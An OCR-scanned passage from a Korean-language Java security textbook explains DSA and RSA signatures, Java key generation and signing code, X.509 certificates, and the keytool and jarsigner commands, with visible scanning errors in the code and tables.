경되지 않았다는것을 절대적으로 정확히 믿을수 있게 하는것이다. 이 실례에서 프로그람 
에 HQ 의 공개열쇠 를 매 몰시 킨다. HQ 봉사기프로그람은 비 공개열쇠 를 포함하며 그것 은 
내보내려는 매 통보문과 함께 수자서명을 포함할수 있다. 의뢰기프로그람은 통보문이 변 
경되지 않았는가, 그것 이 HQ 에서 출발하였는가를 확인하기 위하여 공개열쇠를 리용할 
수 있다. 이러한 보안실현은 대단히 간단하며 보다 중요한것은 사용자들에게 보이지 않 
는것 이 다 . 

2개 알고리 듬들은 공개 열쇠암호화 (표 7-5) 에 리 용할수 있 는 Java SDK 와 함께 러 용 
된 다. DSA 는 수자서 명 알고리 듬 (Digital Signature Algorithm ) 이 다. 이 알고리 듬들은 
512 bit 와 1024 bit 사이의 크기로 열쇠를 생성한다. (다만 64 bit 배수만을 리용한다) . 다 
른 알고리듬들은 RSA(Rlvest Shamir Adleman ) 알고리 듬이 다. RSA 는 비공개 회사이 며 
그것들의 생산품과 봉사들만이 www . rsa . com 에 공개된다. 

이 두 알고리 듬들은 한가지 표식방법 으로써 SHA -1 통보문발취 를 리 용한다. 수자서 명 
은 사실상 열쇠를 리용하여 암호화한 통보문발취 이다.이 러한 알고리듬들은 다 보안의 동 
일한 준위 에서 제공되지만 RSA 는 특허권이 있으므로 생산에서 그것을 리용하려면 그들 
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의 승인을 받아야 한다. DSA 는 공개되였고 따라서 그것을 리용하려면 승인을 받지 않아 
도 된다. 


표 7-5. _ DSA 와 RSA 알고리 듬의 비 교 


알 고 리듬 

열쇠 크기 

리 용 성 

DSA?Digital Signature Algorithm 

51271024 bit 

공 개 

RSA?Rivest Shamir Adleman 

51271024 bit 

독 점 


공개열쇠 열쇠암호와 일부 류사한것 이 있으므로 그것들을 코드에 실현하여 보자. 

이 처 리는 3단계 로 진행한다. 

① 우선 열쇠 쌍을 엄어야 한다 (비공개 열쇠와 공개 열쇠). 이러한것들은 KeyPairGe - 
nerator 클라스를 리용하여 얻을수 있다. 

透) 이러한 열쇠들을 얻은 다음에는 사용자의 통보문를 리용하여 서명을 생성하기 위 
하여 ignature 콜라스와 함께 비공개열쇠를 리용할수 있다. 

@ 마지막으로 공개열쇠를 리용하여 서명을 통보문과 대조하여 비교할수 있다. 그러 
자면 알고리듬도 Signature 클라스에 포함시 킨다. 

1) 열쇠쌍생성 

열쇠 쌍들은 인 터 네트상에서 VeriSign 나 Thawte 와 같은 많은 보안회 사들로부터 얻 
을수 있다.사실 Microsoft Outlook 와 같은 대부분의 E-mail 프로그람들은 사용자가 보 
내는 통보를 인증하기 위하여 사용자의 우편을 수자적으로 표식하기 위한 선택조작을 한 
다. Outlook 의 Op 社 on 에서 어떤 판매자들로부터 수자 ID 를 어떻게 얻는가를 설명하는 단 
추를 누른다(그림 7-15). 



그림 7-15. MS Outlook Express 에서 수자서명을 보기 
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Digital Ids 를 눌러 Outlook 에 저 축된 공개 열쇠의 목록을 볼수 있 다. 사용자가 이 
사람들로부터 전자우편을 수신할 때 Outlook 는 자동적으로 그것들의 공개열쇠를 가지고 
통보문인증과 비교하여 결과에 따라 전송한다. 사용자는 열쇠를 생산하는 외부판매자들 
을 믿지 않지만 Java 는 사용자의 열쇠쌍을 생성 하기 위 한 콜라스를 포함한다.이 처 리는 
매우 단순하며 몇개 행의 코드만을 만들수 있다. 열쇠들은 개별적인 몇백개의 비트들로 
구성된다.사용자는 리용하려는 열쇠쌍을 얻은 다음 그것들을 PublicKey 와 PrivateKey 
객체를 원래의 바이트자료파일，프로그람에 의해 받아 들일수 있거나 내보낼수 있는 본 
문파일 가운데서 어 느 하나로서 보관한다. Java 는 또한《 열쇠 기 억 ( keystor )》 이 라는것 
을 포함한다. 보안은 어떻게 실현하겠는가 하는것은 사용자자신에게 달려 있다. 

DSA 알고리듬을 가지고 사용자의 열쇠들은 일반적으로 많은 수로 이루어 진 큰 기 
호렬과 갈은것을 찾아 볼수 있다. 이것들은 16진수로 표현되는 큰 옹근수이다. 

여기에는 공개열쇠가 있다. 

P ： fca 682 ce 8 el 2 caba 26 efccf 7110 e 526 db 078 b 05 edecbcdleb 4 a 208 f 3 ael 617 ae 01 f 35 b 
91 a 47 e 6 df 63413 c 5 el 2 ed 0899 bcdl 32 acd 50 d 99151 bdc 43 ee 737592 el 7 
q : 962 eddcc 369 cba 8 ebb 260 ee 6 b 6 al 26 d 9346 e 38 c 5 

g ：678471 b 27 a 9 cf 44 ee 91 a 49 c 5147 dbla 9 aaf 244 f 05 a 434 d 6486931 d 2 dl 4271 b 9 e 35030 b 

71 fd 73 dal 79069 b 32 e 2935630 elc 2062354 d 0 da 20 a 6 c 416 e 50 be 794 ca 4 

Y ：2 dbebe 746 b 73439 bfc 8148 f 220984286 el 856353515 bebbld 55 el 3412644 e 993 c 75926 

dca 2 afdf 731 claa 8 f 944876 b 86 a 679 d 256 f 2 fa 4 c 983 all 35 c 7 d 76 e 6390 


여 기 에는 비 공개열쇠 가 있다. 

P ： fca 682 ce 8 el 2 caba 26 efccf 7110 e 526 db 078 b 05 edecbcdleb 4 a 208 f 3 ael 617 ae 01 f 35 b 
91 a 47 e 6 df 63413 c 5 el 2 ed 0899 bcdl 32 acd 50 d 99151 bdc 43 ee 737592 el 7 
q : 962 eddcc 369 cba 8 ebb 260 ee 6 b 6 al 26 d 9346 e 38 c 5 

g ：678471 b 27 a 9 cf 44 ee 91 a 49 c 5147 dbla 9 aaf 244 f 05 a 434 d 6486931 d 2 dl 4271 b 9 e 35030 b 
71 fd 73 dal 79069 b 32 e 2935630 elc 2062354 d 0 da 20 a 6 c 416 e 50 be 794 ca 4 
x : 5445 fb 6 a 341 e 4 aell 82 ef 22 ac 7 c 0 ff 8 c 9 f 3 a 69 e 2 


P , 다와 당의 값들이 공개열쇠 나 비 공개열쇠 나 꼭 같다. x 값은 유일 한 비 공개열쇠 를 
표현하며 모는 유일 한 공개열쇠 를 표현한다. DSA 학술용어 에서 p 는 씨 수이 고 다는 부분씨 
수이며 g 는 기 초수이 다.목적 에 따라 리 면에 있는 수학적리 론을 리 해할 필요는 없고 다 
만 그것을 어떻게 효과적으로 리용하겠는가만 알면 된다.열쇠쌍을 출력시키는 부분의 코 
드를 보자. 

import java , security . * ; 
public class SignatureMaker { 

public static void main (String [] args ) { 

KeyPairGenerator keyMaker = null ； 
try { 

keyMaker = KeyPairGenerator . getlnstance ( “ DSA ” ); 

} catch (NoSuchAlgorithmException na ) {} 
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keyMaker . initialize (512); 

System , out . println ( “Generating key pair .” ); 
Key Pair pair = keyMaker . generateKeyPairO : 
PrivateKey priv = pair . getPrivateO ; 
pPublicKey pub = pair.getPublicO : 

System , out . println ( priv ); 

System , out . println ( pub ); 



이 코드를 실행할 때 당신은 1분 또는 그 이상동안 아무것도 발생 하지 않기때 문에 
콤퓨터 가 멎은것처 럼 생각할수 있다. 그러 나 사실 열쇠쌍을 생성 하기 위 한 강력 한 처 리 
가 진행하고 있다. 

여기서 여러가지 방법으로 KeyPairGeneratar 를 초기화할수 있다.우의 코드에서 옹 
근수 512를 주고 있는데 이것은 길이가 512 bit 인 열쇠쌍을 얻는다는것을 의미한다.더 큰 
열쇠 를 생 성 하려 면 이 수에 64를 더하여 1024로 만든다.그러 면 열쇠쌍이 더 잘 보안된다. 
또 한 SecureRandom 객 체 를 얻 기 위 하 여 initialize () 방 법 을 호 출 할 것 이 
다. SecureRandom 콜라스는 일반적 인 우연수를 만드는 규칙적 인 Random 콜라스보다 훨 
씬 큰 특이한 우연수를 생성한다.보다 큰 우연수를 리용하면 개별적인 우연수를 길게 늘 
이 고 사용자의 열쇠 쌍을 다시 생 성할수 있는 가능성 이 작아 진 다. 를퓨터 는 내 부박자를 
리용하여 하루에 백만개이상의 우연수를 생성해 낸다. 

2) 서명얻기와 검증 

통보문을 위한 서명을 생성하는것은 통보문발취를 얻는것과 매우 류사하다.먼저 
Signature 객체를 창조하고 다음에 비공개 열쇠를 가지 고 그것을 초기 화한다. 서명을 생 
성 하는것 이 공개 열 쇠 가 아니 라 비 공개 열 쇠 라는것 을 주의 하시 오. Signature 클라스의 
updateO 방법은 알고리듬의 바이트전송에 리용된다.서명을 취급과 얻기를 완성하기 위 
하여 signO 방법을 리용한다. 
import java , security . * ； 
public class MessageSign { 

public static void main (String [] args ) { 

KeyPairGenerator keyMaker = null ； 

Signature sigGen = null ； 
byte [] signature = null ； 
try { 

keyMaker = KeyPairGenerator . getlnstance ( “ DSA ” ) ； 
sigGen = Signature , getlnstance ( “ DSA ” ) ； 

} catch (NoSuchAlgorithmException na ) {} 
keyMaker . initialize (512) ； 

System , out . println ( “Generating key pair .” ) ； 

KeyPair pair = keyMaker . generateKeyPairO ； 

PrivateKey priv = pair . getPrivateO ; 
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String message = “ ” ; 
for (int i =0 : i < args . length : i ++) 

message = message + + args [ i ] l 

try { 

sigGen . initSign ( priv ); 

sigGen . update ( message . getBytes 0); 

signature = sigGen . sign 0 ; 

} catch (Exception e ) {} 

System . out . print ( “ Signature : ”); 
for (int j =0 : j < signature . length : j ++) 

System , out . print ((signature []9 + 128) + 



이 코드는 지령선에서 넘어 온 통보문으로부터 서명을 만들어 내는것을 제외하고는 
열 쇠 쌍을 생 성하는데 서 리 용하는것 과 기 본적 으로 같은 코드이 다.이 코드는 10진 바이 트 
값들로 서명을 출력시킨다. 

서명 이 공개열쇠 에 일 치 하는가를 검증하는것은 까다로운 과제 이 다.먼저 Signature 
객체 가 생성 한다.다음에 initVerifyO 방법을 리용하여 공개 열쇠를 가지고 열쇠를 확인하 
는 초기 화를 진행한다. 

MainO 방법의 끝에 다음의 코드를 삽입한다. 

// verifying signature : 

PublicKey pubKey = pair . getPublicO ; 
try { 

Signature sigVerify = Signature , getlnstance ( “ DSA ” ); 

sigVerify . initVerify ( pubKey ) : 

boolean passed = sigVerify . verify ( signature ) : 

System , out . println ( ) ; 

System . out . println ( “Did the verification pass ?” + passed ); 

} catch (Exception e ) {} 


이 코드는 먼저 열쇠쌍에서 공개열쇠를 뽑아 낸다. 다음에 코드가 창조되고 공개열쇠 
를 가지고 Signature 객체가 초기된다. 다음 서명이 공개열쇠와 일치하는가를 검사 하기 
위하여 verify 0방법을 리용한다. 수자서명은 다음에 설명하는 인증에서 기본을 이분다. 

3. 인증 

제한된 수의 사람들에 대하여 확인하는 방법에 있는 수자서명들은 다 류사하다. 실 
례로 어느 한 사람이 통보문를 보냈을 때 그의 Web 폐지에서 공개서명을 가지고 서명을 
검사한다면 사용자는 그 사람이 통보문를 보낸 사실을 확인할수 있지만 변경할수는 없다. 

만일 사용자가 모르는 사람에게서 통보문를 받았다면 그것을 애칭을 가지는데 리해 
관계를 가지고 있는 Scotland 에 있는 작은 회사에 전한다. 그들은 서명을 보낼수도 있 
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고 그의 Web 싸이트에 가서 자기들의 Web 싸이트에 광고된것과 대조하여 서명을 확인할 
수 있지만 그들이 사용자가 누구라는것을 어떻게 알며 누가 그들에 대해 말해주겠는가? 

왜냐하면 서명은 실지 아무런 의미도 없는 검증이기때문이다. 누구든지 통보문을 보 
낸후 열쇠쌍을 얻을수 있으며 자기가 아니라고 거짓말을 할수 있다. 

증명서체계를 리용하여 그가 누구인가를 식별하는 인증은 가능하다. 인증은 신용회 
사와 같은 3 부류집 단과 함께 진행하며 실체 의 신분을 검 증한다. VeriSign , Thawte , 
and Errimst 와 같은 회 사들은 이 러 한 증명서 내 용들을 저 축하기 위 한 기 본 저 장소로 활 
동한다. 

증명서는 증명하고 있는 실체의 이름 (방문자) , 증명서의 표식자이름 (신용회 
사)，증명서 에 있는 실체의 공개 열쇠，신용실체의 서명 (신용회사) 을 포함하는 자료 
의 집합이다.개별적사람 혹은 회사가 수자 ID 를 얻으 려면 먼저 열쇠쌍을 얻어야 한다 
(그림 7-16) . 


방문자는 공개열쇠를 
가지고 통보문을 표식 
한다. 공개 열쇠 A 는 
신용회사에 의하여 주 
어진다. 


방문자 


신용회사는 비공개열 
쇠를 가지고 서명을 
표식한다. 

공개열쇠 묘는 리용자 
에 의해 주어 전다. 


신용회사서명을 검중 
하기 위하여 리용자는 
열쇠 B 률 리 용한다. 
다음 방문자의 서명을 
검 증하기 위하여 열쇠 
A 를 리 용한다. 


'•기. 


신용회사 

M _ 


그림 7-16. 신용회사를 통한 방문자의 인중 


보통 그들은 자기의 비공개열쇠 를 보관하지 만 공개열쇠는 신용회 사에 게 준다.신용회 
사는 그들자체 의 비 공개열쇠 를 가지 고 공개열쇠 를 수자적 으로 표식하며 이 것은 개 별적 대 
상으로부터 통보문과 함께 사용자에 게 전송된 다. 신용회 사의 공개열쇠 를 리용하여 사용 
자는 비공개열쇠를 가지 고 개 별적 사람들의 공개열쇠 를 믿을수 있다는것을 검 증하며 통 
보문에 대한 공개열쇠를 서명검증에 적용한다. 여기서 개별적인 사람이 누구인가 하는것 
을 검증하는것은 신용회사에 맡긴다. 그들이 접수할수 있는 인증의 준위에는 여러가지가 
있다. 실례로 《VeriSign Class 1》 ID 는 그들이 방금 실체로부터 받은 전자우편주소가 
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정확하다는것을 의미하지만 이름은 위조될수 있다. 

높은 신용준위는 공증공개를 리용하여 엄을수 있으며 그것들은 회사의 재정액에서도 
검사할수 있다.대부분의 인터네트응용프로그람들은 이 신용체계를 끌어 오는데 X .509 증 
명 서 를 리용한다. 

1) X .509 증명서형식 

인터 네트상에서 리용되는 대부분의 일반증명서는 X . 509증명서형식 이 다. Netscape , 
VeriSign , JavaSoft 와 같은 전용회사들과, Microsoft 회사가 인증을 하는데 이 형식을 
리용한다. X .509 증명서는 전자우편통보문표식，코드의 인증, 인터네트상에서 움직이는 
자료의 형태를 증명하기 위하여 리용된다. 

X . 509 표 준 은 국 제 전 화 통 신 공 동 지 역 체 (International Telecommunication 
Union : ITU 1865년 창설) 의 국제 전화통신련 맹 에 의 해 개 발되 였 다. 그것들은 모뎀 규약과 
망교환규약을 포함하여 모든 종류의 통신에 대한 개발과 관리를 표준화하기 위한 책임을 
지고 있다. 여기에는 실제적으로 3가지 판본의 증명서형식을 가지고 있다. 

가장 단순한 판본은 다음의 정보를 모두 포함해 야 한다. 

• 판본증명서 

• 계렬번호증명서 

• 부호화정 보알고리 듬 (DES 와 알고리 듬파라메 터 들과 같음) 

• 증명서표식자의 이름 

• 정 확성 에 대 한 증명날자 (시 작날자와 마지 막날자) 

• 증명서에 있는 실체의 이름 

• 증명서 에 있는 실체 의 공개열쇠 

• 실체의 알고리듬정보 

• 수자서명 

우에 서 보는것 처 럼 이 정 보는 실 체 인증을 진행하는데 다 필요하다. 

이것들은 지적된 신용회사로부터 넘어온 증명서를 확인할수 있게 하며 실체로부터 
공개열쇠를 넘겨 받음으로써 인증되고 있는 실체로부터 넘겨 받은 통보문(바이트렬)을 
검 증하는데 리용할수 있 다. 

2) 수자서명얻기 

수자서명을 얻는 방법 에는 여 러 가지 가 있다. 만일 에 Outlook Express 와 같은 일반 
적인 전자우편프로그람이 있다면 그 프로그람에 대한 구체적인 증명서를 엄을수 있다 
( 그림 7-14) . Microsoft 는 많은 신용회 사들가운데 서 하나를 지 적하지 만 VeriSign 는 
90일간의 Outlook Express 에 대한 증명을 제공하는 인수들을 가지고 있다. 1 년간 증 
명비 용은 14.99$ 이 다. 

한편 VeriSign 싸이트우에서 그것은 수자증명서를 요구하게 하는 극히 단순한것이다 
(그림 7-17). 요구되는 정보는 전자우편주소와 사용자의 이름이 다. 
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그림 7-17. VeriSign 로부터 요구하는 증명 서 


VeriSign 는 목록화된 주소에 확인된 전자우편을 보내 며 따라서 《Class 1》증명담 
보는 증명서의 소유자에 대한 정확한 전자우편주소를 가지는것이다. 

사용자는 또한 Java 2 SDK 를 가지 고 자기 의 증명 서 를 창조하고 표식 할수 있 다. 
JDK 의 bin 등록부안에서 key tool, exe 라고 부르는 2진파일은 증명서와 열쇠를 창조 
하고 관리 할수 있게 한다. key to 이편의 프로그람는 jarsigner. exe 를 가지고 JDK 1.1 에 
포함되 여 있는 javakey.exe 라고 부르는 2진파일을 제배치 한다. 

Keytoold 은 증명서와 열쇠들을 관리하는데 지령선인수들을 러용한다(표 7-6). 


표 7-6. 

key tool, exe 에 대한 지령 선인 수 

인 수 

기 능 

- genkey 

X. 509 증명 서 에 서 열 쇠 쌍을 생 성 하고 내 놓는다 

-import 

증명서접수 

-self cert 

X.509 vl 자체 표식 증명서 들을 생성 

-identitydb 

keystore 안에 형식별자들을 JDK 1.1 에서 읽는다 

-certreq 

증명서표식요구를 생성 

-export 

Disk 파일에 지적된 증명서들을 보관 

-list 

Keystore 의 내용을 현시 

-printcert 

증명서에 정보를 현시 

-keyclone 

초기에 같은 비공개열쇠로 새로운 keystore 를 창조 

-storepasswd 

Keystore 를 보호하는데 리 용되 는 열쇠단어 변경 

-keypasswd 

비 공개열쇠암호를 보호하는데 리 용되는 열쇠단어 변경 

-delete 

하나의 keystore 입구점을 지운다 

-help 

모든 keytool 지령들을 렬거 


증명서와 열쇠들은 keystore 를 호출한 곳에 기억된다. keystore 는 디스크에 있는 
파일 이 며 user.home 속성 에 기 정 으로 기 억 되 여 있 다. 단일사용자 Windows 체 계 에 서 
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user.home 등록부는 Windows 체계 등록부이 다. 따라서 Windows 가 C: 구동기 에 설치되 
면 user.home 등록부는 C：\ Windows 에 있게 된다 .Windows 체계가 다중사용자에 대해 
설치된다면 이 등록부는 C：\ Windows \ {username} 등록부에 있다. 

실제 로 일부증명 서 들을 생 성 하고 keytool 을 리 용하여 그것 을 표식 해 보자. 
Keytool 을 가지 고 실 험 하고 있기 때 문에 기 정 체 계 위 치 와 다른 위 치 에 서 주문 keystore 
파일을 창조할수 있다.시작하기전에 Java 의 bin 등록부가 사용자의 경로에 있다는것을 
확인하고 사용자는 임의의 등록부로부터 keytool 을 실행할수 있다. 

set path=%path%；c：\ jdkl.3\ bin 

먼저 keystore 파일 을 창조하고 자체 의 열쇠 쌍을 생 성하려 고 한다.이 를 위 한 가장 
단순한 방법은 다른 파라메 터 가 없이 -genkey 인수를 리 용하는것 이 다. Keytool 은 필요 
한 모든 정 보를 재 촉한다 ( 그림 7-18) . 다른 파라메 터 를 리 용하지 않는 아래 쪽은 모든 
것이 주어 진 기정값이며 그가 요구하는 정보를 제외한다.실례로 증명서는 90일이 좋으 
며 keystore 는《나의 열쇠》별명을 리용한다. 



그림 7-18 . 기 정인수를 가지 고 Keystore 를 창조 


실행 이 끝난후에 그것은 user.home 등록부에서 keystore 파일을 창조할것 이 다. 이 
keystore 파일 은 사용자의 개 인정 보, 공개 열 쇠 , 비 공개 열 쇠 를 포함한다. 이 것 도 역 시 
keytool 을 가지고 비공개열쇠를 보려면 암호를 요구한다는것을 의미하는 보호된 통과암 
호일것이다. 

keystore 가 얼마나 많은 지령선인수를 포함하여 창조되였는가에 따라 보다 다양한 
조종을 할수 있다.다음의 지령은 다른 등록부에 keystore 를 보관할수 있고 그것은 180 
일동안에 정확하게 동작할수 있다. Enter 건을 누르지 말고 하나의 단일행으로 모두 써 
넣어야 한다. 

keytool -genkey -dname “cn=Chris Jones, ou=Developer, o=Access, c=US” 
-alias murphy -keystore C：\ java\ keystore -validity 180 
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keystore 가 창조된후 그의 내용을 렬거할수 있 다. (그림 7-19) . 다음에 user, home 
위치에 배치된 keystore 를 렬거하기 위하여 -list 인수를 리용할수 있으며 keystore 파일에 
적당한 위치를 포함할수 있다. keystore 에 들어가려면 통과암호가 요구된다. 
keytool -list -keystore c：\ java\ keystore 



그림 7-19. Keystore 파일 의 내 용을 렬 거 하기 


보는바와 같이 파일은 자체의 증명서를 포함한다. 

이것은 자체표식된 증명서이며 신용회사가 확인하지 않았다는것을 의미한다. 자기 
자신을 포함하는 인터네 트상에서 다른 사용자들은 자체표식된 증명서 에 대 한 인증에서 
신용을 얻 을수 없다. 이것은 증명서표식요구 (CSR : Certificate Signing Request) 를 
참 조 하 게 한 다 . Sun 를 거 처 서 사 용 자 는 VeriSign 회 사 처 럼 증 명 서 권 한 
(CA:Certificate Au 比 lority) 에 이 파일을 종속시킬수 있다 .CA 는 요구자를 인증하며 
(비직 결식 으로) 다음에 공개열쇠 를 인증하는 항목에 의하여 표식된 증명서 를 돌려 
줄것이다. 이러한 봉사들의 변경비용과 매 CA 는 자체의 사용허가구조를 가진다. 요구 
를 창조하기 위하여 다음의 지령을 리용한다. 

keytool -certreq -file Brian, csr 

이 지령은 일부 자료를 포함하는 현재등록부에서 작은 본문파일을 창조한다. 아마도 
CA 로부터 표식된 증명서를 얻기 위하여 요구되는 돈을 지불하지 않아도 될것 이며 따라 
서 자체 의 증명 서목적 에 따라 자체표식된 증명 서 를 내 보낼 수 있다. 또한 자체 의 
keystore 안에서 그것을 받아 들이는 다른 사용자들을 받아 들일 목적으로 증명서를 내 
보낼수도 있다. 《신용》입구로서 그것을 접수한후 사용자가 표식한 모든 JAR 코드는 실 
행할수 있다. 증명서를 수출하기 위하여 다음의 지 령을 리용한다. 

keytool -export -alias mykey -file Brian, cer 

이것은 현재 등록부에서 파일을 창조한다.만일 Windows 에서 확장자 .cer 를 선택 
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한다면 사용자는 파일 을 2번 찰칵하여 증명 서 를 자동적 으로 현시할수 있 다(그림 7-20). 
증명서안에서 개 별적 인 값을 현시 하기 위 하여 Detaile 표쪽을 리 용할수 있다. 사용자는 
Windows 체계안에 이 증명서를 설치 할수 있으며 그것을 믿을수 있다. 이것을 진행 한후 
Internet Explorer 는 X . 509증명서 에 의 해 표식되는 내 용을 자동적 으로 확신한다. 

그러 면 VeriSign 로부터 표식된 증명 서 를 접 수한다고 가정 하자.아마 사용자는 표식 
되 지 않은 증명 서 를 새 롭게 표식된증명 서 와 교체하려 고 할것 이 다. 또한 자기 의 
keystore 파일안에 그밖의 다른 사람의 증명서를 받아 들이려고 할수 있다. 이를 위해서 
다음의 지령을 리용한다. 

key tool -import -trustcacerts -file VSBrian.cer 

개 발자의 견지 에 서 볼 때 아주 쉽 게 사용자의 증명 서 를 생 성 하고 관리하는데 
keystore 프로그람을 리용할수 있다 .Java 는 JVM 안에서부터 보이지 않게 실행할수 있는 
콜라스를 포함하고 있다. 



그림 7-20. Windows 에서 자체 표식된 증명서를 보기 


모든 열쇠단어 들은 지 령 선인수를 리 용하여 keytool 프로그람에 주어 질수 있 다. 

4. JAR 표식을 가진 보안보호 

앞에서 Java 가 전략파일에 의 하여 위험한 연산을 제한할수 있다는것을 설명하였다. 
즉 열람기들은 sandbox 에 구속된 애플레트들을 보관하는데 이것을 리용하였다. 애플레 
트가 sandbox 밖에서 진행될 필요가 어디에 있는가? 사용자가 애플레트로부터 그의 론 
러하드디스크에 일부 자료를 보관할 때 일정한 시간이 걸린다.실례로 사용자가 3차원 모 
형 을 구축하기 위하여 애 플레 트를 리 용한다면 하드디 스크에 이 모형 을 보관해 야 한다. 
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갈은 시간에 누군가 자기의 콤퓨터에 접근하지 못하게 하려고 한다. 

JAR 표식은 JAR 파일을 수자적 으로 표식하는 방법을 제공한다. 이것은 표식된 때 로 
부터 코드가 변경되지 않았다는것을 사용자에게 확인시키며 코드를 봉사하고 있는 실체 
가 누구의것인가를 확인시킨다. Jarsigner.exe 도구는 JAR 파일에서 수자서명을 포함할 
수 있게 한다. 또한 JAR 파일의 서명을 검증할수 있게 한다. 

jarsigner 는 keystore 파일 에서 기 억된 증명서 들을 리 용한다. jarsigner 는 JAR 파일 
을 처 리한후에 MANIFEST . MF 라고 부르는 파일 과 함께 또 META-INF 라고 부르는 등 
록부를 포함한다.또힌 여기에 jarsigner 와 련관된 다른 지령들도 있다 (표 7-7) . 


표 7-7. 

Jarsigner.exe 에 대한 지령선인수 

인 수 

설 명 

-keystore 

keystore 의 URL 이나 파일 위치를 지정 

-storepass 

Keystore 에 접 근하기 위하여 리 용하는 열 쇠단어 지 정 

-keypass 

비공개열쇠에 접근하기 위하여 리용하는 열쇠단어 지정 

-sigfile 

.SF 와 .DSA 파일을 발생시 키 기 위하여 리 용하는 기 초파일 이 름 
을 지정 

-signed jar 

표식 된 JAR 파일 을 창조할 때 리용하기 위한 파일 이 름을 지 정 

-verify 

증명서 를 위하여 지정된 JAR 파일을 발생 

-certs 

매 표식자의 증명서에 관한 정보를 렬거 
(검 증 또는 복잡성 과 함게 리용) 

-verbose 

그것들의 처리에 대한 설명을 출력시키기 위하여 jarsigner 를 
발생 시 킨다. 


jarsigner 를 검사하기전에 시험에 리용하기 위한 JAR 파일을 가진다.사용자는 하드 
구동기우에서 임의의 JAR 파일을 리용할수 있다 .jarsigner 가 표식된 jar 에 대한 파일을 
분리한 기초우에서 그것을 보관하기때문에 임의의 방법으로 그것이 변경될 걱정은 하지 
않아도 된다.만일에 JAR 파일을 찾을수 없다면 당신은 zip 파일에 클라스의 묶음을 첨가 
하고 다음 확장자 . zip , .jar 에로 변환할수 있다.이 실례에서 JAR 파일은 MyCode.jar 
라고 부론다 

jarsigner -signed jar MySignedCode . jar My Code , jar my key 

이 연산은 코드를 표식 하는 mykey 라고 부르는 기정 keystore 에 기 억된 비 공개열쇠 
를 리용한다. 이것은 사용자의 코드 크기에 의존하면서 그것은 표식하는 알고리듬을 리 
용하면서 만들어 질수 있다. 그 후 사용자는 MySignedCode.jar 라고 부르는 새로운 
JAR 파일을 가진다.만일에 zip 를 리용하여 이 파일의 내용을 볼수 있다면 일부 변경를 
볼수 있다(그림 7-21). 여기에 있는 3개의 새로운 파일 manifest . mf , Mykey.dsa 와 
Mykey.sf (서 명 파일의 략칭 은 sf , Manifest 파일의 략칭 은 mf ) 에 주의를 돌려 야 한 
다. Mekey.dsa 는 서명블로크파일 이며 이것은 공개 DSA 열쇠，알고리 듬파라메터와 서명 
을 확인하기 위하여 리용되는 증명서정보를 포함한다.정확성 이 확정된 파일은 JAR 에 포 
함되 여 지 원된 모든 클라스의 목록을 포함한다.목록은 또한 클라스파일의 매 SHA -1 통 
보문발취 도 포함한다.이 것 들이 보호만 된다면 다른 자원의 변경 과 그것들로부터 새 로운 
SHA -1 통보문발취를 포함하는 검 증과 같은 문제 들을 발생시 키지 도 않고 JAR 파일로 
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부터 자원을 쉽게 지울수 있다. 이러한 리유로 여기에 Mykey . sf 라고 부르는 서명파일 
도 나타나고 있다 (그림 7-22) . 그것은 클라스의 통보문발취를 모두 서명 할뿐아니 라 명 
확히 확증된 파일의 서명도 포함한다.우연히 . sf 와 . dsa 파일의 이름은 인수- sigfile 를 리 
용하여 변경할수 있 다. 


그림 7-21. 표식붙은 JAR 파일의 내용을 보기 


그림 7-22. 서명파일의 내용을 보기 


그러면 jarsigner 를 리용하여 JAR 파일을 확인하기 위하여 다음의 지령을 러용한다. 
jarsigner -verify MySignedCode . jar 

모든것이 증명서 처리와 함께 잘되여 나가면 《 jar verified 》 통보문이 나타난 
다. JAR 파일을 변경하고 그것을 다시 검증해 보자. JAR 로부터 파일을 지우는것은 그리 
쉽지 않으므로 클라스파일을 교체하는것을 심사숙고하여야 한다. 먼저 zip 파일을 리용하 
여 JAR 파일을 열고 어느한 콜라스를 지운다. 콜라스의 이름이 무엇인가를 상기하고 확 
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인해야 한다.그러면 당신의 하드구동기에서 다른 파일을 리용하고 방금 지워 진 클라스 
의 이름으로 그것을 바꾸며 JAR 파일에 그것을 첨 가하여 야 한다. 한편 다시 jarsigner 를 
리 용하여 파일을 검증한다. 이때 검증이 실패 한 클라스의 이름을 내 보내 면서 례외를 발생 
되여 출력된다(그림 7-23). 



그림 7-23. Jarsigner 를 가지고 진행한 검증의 실패 


사용자는 발견되지 않게 조용히 손을 대 여 이 파일을 어떻게든지 변경할수 없겠는가 
고 생 각할수 있겠는데 실지 로 그것 은 불가능하다.확증된 파일은 파일의 내 용을 포함하고 
서명파일은 확증된 파일의 수자서명을 가지므로 명백 히 확증된 파일은 변경될수 없다.서 
명파일은 비공개열쇠 를 가지 고 창조된 서명 을 포함한다.비 공개열쇠 가 없이 사용자는 이 
서명을 다시 창조할수 없다.사용자는 자기가 가지 고 있는 DSA 서명블로크파일을 교체할 
수 없으며 다른 코드작성자가 시작한 코드에 대 하여 더는 말할 필요가 없다. 기본적으로 
모든것 이 봉인되 여 있으며 검 출이 없 이 파피 하는것 은 불가능하다.그것 은 실제 적 으로 이 
러한 실체들의 여러가지 허가에 의해 표식 불은 애플레트를 밤아 들일수 있게 한다. 

이것은 사용자가 users . home 등록부에서 전략파일을 창조하거 나 편집 할것을 요구한 
다.앞에서 설명 한바와 같이 policyto 이을 가지 고 지정한 코드의 표식자들에게 실시 할수 
있는 허 가를 진행할수 있 다. 

5. 암호화 

수자서명들은 인터 네트상에서 일부 사람들로부터 받는 코드에 대한 인증을 검증하게 
할수 있지만 그것은 람지하는 눈으로부터 실제적인 통보문을 전혀 보호하지 못한다. 인 
터네트상에서 흘러 나오는 자료는 누구나 자유로 볼수 있다. 자료를 보호하기 위하여 암 
호화알고리듬을 리용할수 있다. 

암호화 또는 공개 열쇠 암호화는 실제 로 James Bond 감시 기 술세 계 에 직 접 뛰 여 들수 
있게 한다. 임의의 자료는 인터네트상에서 순회하기전에 반드시 암호화 되여야 한다. 인 
터 네트상에서 움직 이는 모든 자료는 해 당한 콤퓨터 에 사용자의 인터네트자료파케트를 재 
분배 하는 장치 인 망 반복기를 통하여 교차된다. 망 반복기 에서 탐지기 라고 부르는 쏘프 
트웨어 의 부분을 배 치하는 망 반복기 를 누가 관리 하는가를 알아 내 는것 은 대 단히 쉽다. 
파케트람지자는 망 반복기를 통하여 오는 모든 자료에 대한 파일등록을 유지할수 있으며 
설치하려고 하는 일정한 예약어를 포함하는 파케트를 선택적으로 기록할수 있다. 
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기본카드번호들은 모두 수자 5191을 가지고 시작하므로 카드에 있는 마지막 날자와 
이름과 같은 파케트안의 모든 정보에 대하여 번호를 람지하고 항목들을 기록하는것은 대 
